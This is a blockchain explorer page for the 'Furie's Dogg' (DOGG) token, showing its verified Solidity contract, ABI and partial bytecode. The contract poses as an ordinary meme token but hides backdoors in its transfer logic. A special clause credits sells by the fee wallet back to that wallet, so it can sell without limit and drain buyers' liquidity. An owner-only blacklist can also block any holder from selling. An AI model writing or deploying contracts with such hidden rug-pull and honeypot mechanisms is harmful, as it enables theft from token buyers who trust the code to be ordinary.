ETH Price: $2,660.43 (+2.20%)

Token

Furie's Dogg (DOGG)
 

Overview

Max Total Supply

1,000,000,000 DOGG

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
27,994,357.209065677170972289 DOGG

Value
$0.00
0x9abb6f89fb7bbee9243bf93923979f829f7977f0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOGG

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-12
*/

/**
 * With his ears flapping in the wind and a spliff in hand, DOGG is the true definition of cool.
 * "Where mi a go next?"

 https://t.me/FuriesDogg
 https://x.com/FuriesDogg
 https://furiesdogg.site

 */

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract DOGG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private isFree;
    mapping(address => bool) public marketPair;
    address payable private _feePart;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 30;
    uint256 private _initialSellTax = 30;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;

    uint256 private _reduceBuyTaxAt = 15;

    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = "Furie's Dogg";
    string private constant _symbol = "DOGG";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 5000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public caCount = 2;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caLimiter = true;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _feePart = payable(0x48bAeB202E45E8B004E50DA04A38786424c84565);
        _balances[_msgSender()] = _tTotal;
        isFree[owner()] = true;
        isFree[address(this)] = true;

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    mapping(address => bool) public _isBlacklisted;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeFromBlackList(address account) external onlyOwner {
        _isBlacklisted[account] = false;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(
            !_isBlacklisted[from] && !_isBlacklisted[to],
            "To/from address is blacklisted"
        );
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        address taxReceiver = address(this);

        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            taxAmount = amount
                .mul(
                    (_buyCount >= _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                marketPair[from] &&
                to != address(uniswapV2Router) &&
                !isFree[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (!marketPair[to] && !isFree[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (marketPair[to] && from != address(this)) {
                taxAmount = from != _feePart
                    ? amount
                        .mul(
                            (_buyCount >= _reduceSellTaxAt)
                                ? _finalSellTax
                                : _initialSellTax
                        )
                        .div(100)
                    : amount;
                taxReceiver = from != _feePart ? address(this) : _feePart;
            }

            if (!marketPair[from] && !marketPair[to] && from != address(this)) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                caLimiter &&
                !inSwap &&
                marketPair[to] &&
                swapEnabled &&
                amount > _taxSwapThreshold &&
                _buyCount >= _preventSwapBefore
            ) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < caCount, "CA balance sell");
                uint256 swapAmount = min(contractTokenBalance, _maxTaxSwap);
                if (swapAmount > _taxSwapThreshold)
                    swapTokensForEth(swapAmount);

                sendETHToFee(address(this).balance);
                sellCount++;
                lastSellBlock = block.number;
            } else if (
                !inSwap &&
                marketPair[to] &&
                swapEnabled &&
                amount > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                uint256 swapAmount = min(contractTokenBalance, _maxTaxSwap);
                if (swapAmount > _taxSwapThreshold)
                    swapTokensForEth(swapAmount);

                sendETHToFee(address(this).balance);
            }
        }

        uint256 tookAmount = amount;
        if (taxAmount > 0) {
            _balances[taxReceiver] = _balances[taxReceiver].add(taxAmount);
            tookAmount = amount.sub(taxAmount) == 0
                ? amount
                : amount.sub(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(tookAmount);
        emit Transfer(from, to, tookAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeFromBlackListwallets(address[] calldata addresses)
        public
        onlyOwner
    {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = false;
        }
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addToBlackList(address[] calldata addresses) external onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = true;
        }
    }

    function freeStuckETH() external onlyOwner {
        payable(_feePart).transfer(address(this).balance);
    }

    function freeStuckERC20(address _tokenAddr, uint256 _amount)
        external
        onlyOwner
    {
        IERC20(_tokenAddr).transfer(_feePart, _amount);
    }

    function freeLarryWhale() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _feePart.transfer(amount);
    }

    function openSea() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        marketPair[address(uniswapV2Pair)] = true;
        isFree[address(uniswapV2Pair)] = true;

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caLimiter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"freeLarryWhale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"freeStuckERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"freeStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openSea","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"removeFromBlackListwallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600755601e60085560006009556000600a55600f600b55600f600c55600f600d556000600e556000600f5560006010556012600a620000469190620004bd565b62000056906301312d00620004d5565b601155620000676012600a620004bd565b62000077906301312d00620004d5565b6012556012600a6200008a9190620004bd565b6200009890611388620004d5565b601355620000a96012600a620004bd565b620000b89062989680620004d5565b60145560026017556018805462ffffff191662010000179055348015620000de57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319167348baeb202e45e8b004e50da04a38786424c84565179055620001546012600a620004bd565b6200016490633b9aca00620004d5565b3360009081526001602081905260408220929092556003906200018f6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308082526003909352208054909216600117909155601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556200022391906200020d6012600a620004bd565b6200021d90633b9aca00620004d5565b6200027c565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002556012600a620004bd565b6200026590633b9aca00620004d5565b60405190815260200160405180910390a3620004ef565b6001600160a01b038316620002e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620002db565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003ff578160001904821115620003e357620003e3620003a8565b80851615620003f157918102915b93841c9390800290620003c3565b509250929050565b6000826200041857506001620004b7565b816200042757506000620004b7565b81600181146200044057600281146200044b576200046b565b6001915050620004b7565b60ff8411156200045f576200045f620003a8565b50506001821b620004b7565b5060208310610133831016604e8410600b841016171562000490575081810a620004b7565b6200049c8383620003be565b8060001904821115620004b357620004b3620003a8565b0290505b92915050565b6000620004ce60ff84168362000407565b9392505050565b8082028115828204841417620004b757620004b7620003a8565b61201480620004ff6000396000f3fe6080604052600436106101bb5760003560e01c80637d1db4a5116100ec578063bf474bed1161008a578063f4c014de11610064578063f4c014de14610510578063f4ef1f4214610530578063f5b3c3bf14610550578063ff8975701461058057600080fd5b8063bf474bed14610494578063dd62ed3e146104aa578063f2fde38b146104f057600080fd5b806395d89b41116100c657806395d89b4114610412578063a9059cbb1461043f578063b5ef226a1461045f578063bae4b9421461047f57600080fd5b80637d1db4a5146103c85780638da5cb5b146103de5780638f9a55c0146103fc57600080fd5b806323b872dd116101595780634a49ac4c116101335780634a49ac4c1461034857806361ab8e2a1461036857806370a082311461037d578063715018a6146103b357600080fd5b806323b872dd146102d4578063313ce567146102f457806349bd5a5e1461031057600080fd5b80630faee56f116101955780630faee56f14610262578063124654c21461027857806318160ddd1461028f5780631cdd3be3146102a457600080fd5b806306fdde03146101c7578063095ea7b31461020e5780630e12062d1461023e57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600c81526b4675726965277320446f676760a01b60208201525b6040516102059190611b71565b60405180910390f35b34801561021a57600080fd5b5061022e610229366004611bd4565b6105a0565b6040519015158152602001610205565b34801561024a57600080fd5b5061025460175481565b604051908152602001610205565b34801561026e57600080fd5b5061025460145481565b34801561028457600080fd5b5061028d6105b7565b005b34801561029b57600080fd5b506102546108ff565b3480156102b057600080fd5b5061022e6102bf366004611c00565b60196020526000908152604090205460ff1681565b3480156102e057600080fd5b5061022e6102ef366004611c1d565b610920565b34801561030057600080fd5b5060405160128152602001610205565b34801561031c57600080fd5b50601654610330906001600160a01b031681565b6040516001600160a01b039091168152602001610205565b34801561035457600080fd5b5061028d610363366004611c00565b610989565b34801561037457600080fd5b5061028d6109d4565b34801561038957600080fd5b50610254610398366004611c00565b6001600160a01b031660009081526001602052604090205490565b3480156103bf57600080fd5b5061028d610a3a565b3480156103d457600080fd5b5061025460115481565b3480156103ea57600080fd5b506000546001600160a01b0316610330565b34801561040857600080fd5b5061025460125481565b34801561041e57600080fd5b50604080518082019091526004815263444f474760e01b60208201526101f8565b34801561044b57600080fd5b5061022e61045a366004611bd4565b610aae565b34801561046b57600080fd5b5061028d61047a366004611c5e565b610abb565b34801561048b57600080fd5b5061028d610b5a565b3480156104a057600080fd5b5061025460135481565b3480156104b657600080fd5b506102546104c5366004611cd3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104fc57600080fd5b5061028d61050b366004611c00565b610c0e565b34801561051c57600080fd5b5061028d61052b366004611bd4565b610cf8565b34801561053c57600080fd5b5060185461022e9062010000900460ff1681565b34801561055c57600080fd5b5061022e61056b366004611c00565b60046020526000908152604090205460ff1681565b34801561058c57600080fd5b5061028d61059b366004611c5e565b610d99565b60006105ad338484610e33565b5060015b92915050565b6000546001600160a01b031633146105ea5760405162461bcd60e51b81526004016105e190611d0c565b60405180910390fd5b601654600160a01b900460ff16156106445760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e1565b601560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610697573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bb9190611d41565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107419190611d41565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b29190611d41565b601680546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556015541663f305d7194730610832816001600160a01b031660009081526001602052604090205490565b6000806108476000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108af573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108d49190611d5e565b50506018805461ff001916610100179055506016805460ff60a01b1916600160a01b17905543600655565b600061090d6012600a611e86565b61091b90633b9aca00611e95565b905090565b600061092d848484610f57565b61097f843361097a85604051806060016040528060288152602001611fb7602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906117d9565b610e33565b5060019392505050565b6000546001600160a01b031633146109b35760405162461bcd60e51b81526004016105e190611d0c565b6001600160a01b03166000908152601960205260409020805460ff19169055565b6000546001600160a01b031633146109fe5760405162461bcd60e51b81526004016105e190611d0c565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610a37573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610a645760405162461bcd60e51b81526004016105e190611d0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105ad338484610f57565b6000546001600160a01b03163314610ae55760405162461bcd60e51b81526004016105e190611d0c565b60005b81811015610b5557600060196000858585818110610b0857610b08611eac565b9050602002016020810190610b1d9190611c00565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b4e81611ec2565b9050610ae8565b505050565b6000546001600160a01b03163314610b845760405162461bcd60e51b81526004016105e190611d0c565b610b906012600a611e86565b610b9e90633b9aca00611e95565b601155610bad6012600a611e86565b610bbb90633b9aca00611e95565b60129081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90610bed90600a611e86565b610bfb90633b9aca00611e95565b60405190815260200160405180910390a1565b6000546001600160a01b03163314610c385760405162461bcd60e51b81526004016105e190611d0c565b6001600160a01b038116610c9d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d225760405162461bcd60e51b81526004016105e190611d0c565b60055460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b559190611edb565b6000546001600160a01b03163314610dc35760405162461bcd60e51b81526004016105e190611d0c565b60005b81811015610b5557600160196000858585818110610de657610de6611eac565b9050602002016020810190610dfb9190611c00565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610e2c81611ec2565b9050610dc6565b6001600160a01b038316610e955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e1565b6001600160a01b038216610ef65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526019602052604090205460ff16158015610f9957506001600160a01b03821660009081526019602052604090205460ff16155b610fe55760405162461bcd60e51b815260206004820152601e60248201527f546f2f66726f6d206164647265737320697320626c61636b6c6973746564000060448201526064016105e1565b6001600160a01b0383166110495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e1565b6001600160a01b0382166110ab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e1565b6000811161110d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e1565b6000306111226000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561115157506000546001600160a01b03858116911614155b801561116657506001600160a01b0385163014155b801561117b57506001600160a01b0384163014155b15611670576111ad60646111a7600b54600e54101561119c576007546111a0565b6009545b8690611813565b9061189c565b6001600160a01b03861660009081526004602052604090205490925060ff1680156111e657506015546001600160a01b03858116911614155b801561120b57506001600160a01b03841660009081526003602052604090205460ff16155b156112f3576011548311156112625760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105e1565b60125483611285866001600160a01b031660009081526001602052604090205490565b61128f9190611efd565b11156112dd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105e1565b600e80549060006112ed83611ec2565b91905055505b6001600160a01b03841660009081526004602052604090205460ff1615801561133557506001600160a01b03841660009081526003602052604090205460ff16155b156113b5576012548361135d866001600160a01b031660009081526001602052604090205490565b6113679190611efd565b11156113b55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105e1565b6001600160a01b03841660009081526004602052604090205460ff1680156113e657506001600160a01b0385163014155b1561145c576005546001600160a01b0390811690861603611407578261142d565b61142d60646111a7600c54600e541015611423576008546111a0565b600a548690611813565b6005549092506001600160a01b0390811690861603611457576005546001600160a01b0316611459565b305b90505b6001600160a01b03851660009081526004602052604090205460ff1615801561149e57506001600160a01b03841660009081526004602052604090205460ff16155b80156114b357506001600160a01b0385163014155b156114bd57600091505b3060009081526001602052604090205460185462010000900460ff1680156114e8575060185460ff16155b801561150c57506001600160a01b03851660009081526004602052604090205460ff165b801561151f5750601854610100900460ff165b801561152c575060135484115b801561153c5750600d54600e5410155b156115e157601054431115611551576000600f555b601754600f54106115965760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b60448201526064016105e1565b60006115a4826014546118de565b90506013548111156115b9576115b9816118f3565b6115c247611a64565b600f80549060006115d283611ec2565b9091555050436010555061166e565b60185460ff1615801561160c57506001600160a01b03851660009081526004602052604090205460ff165b801561161f5750601854610100900460ff165b801561162c575060135484115b801561163b5750600d54600e54115b1561166e57600061164e826014546118de565b905060135481111561166357611663816118f3565b61166c47611a64565b505b505b828215611723576001600160a01b03821660009081526001602052604090205461169a9084611aa2565b6001600160a01b0383166000908152600160205260409020556116bd8484611b01565b156116d1576116cc8484611b01565b6116d3565b835b9050306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161171a91815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546117469085611b01565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546117759082611aa2565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117c99085815260200190565b60405180910390a3505050505050565b600081848411156117fd5760405162461bcd60e51b81526004016105e19190611b71565b50600061180a8486611f10565b95945050505050565b600082600003611825575060006105b1565b60006118318385611e95565b90508261183e8583611f23565b146118955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e1565b9392505050565b6000611895838360405180604001604052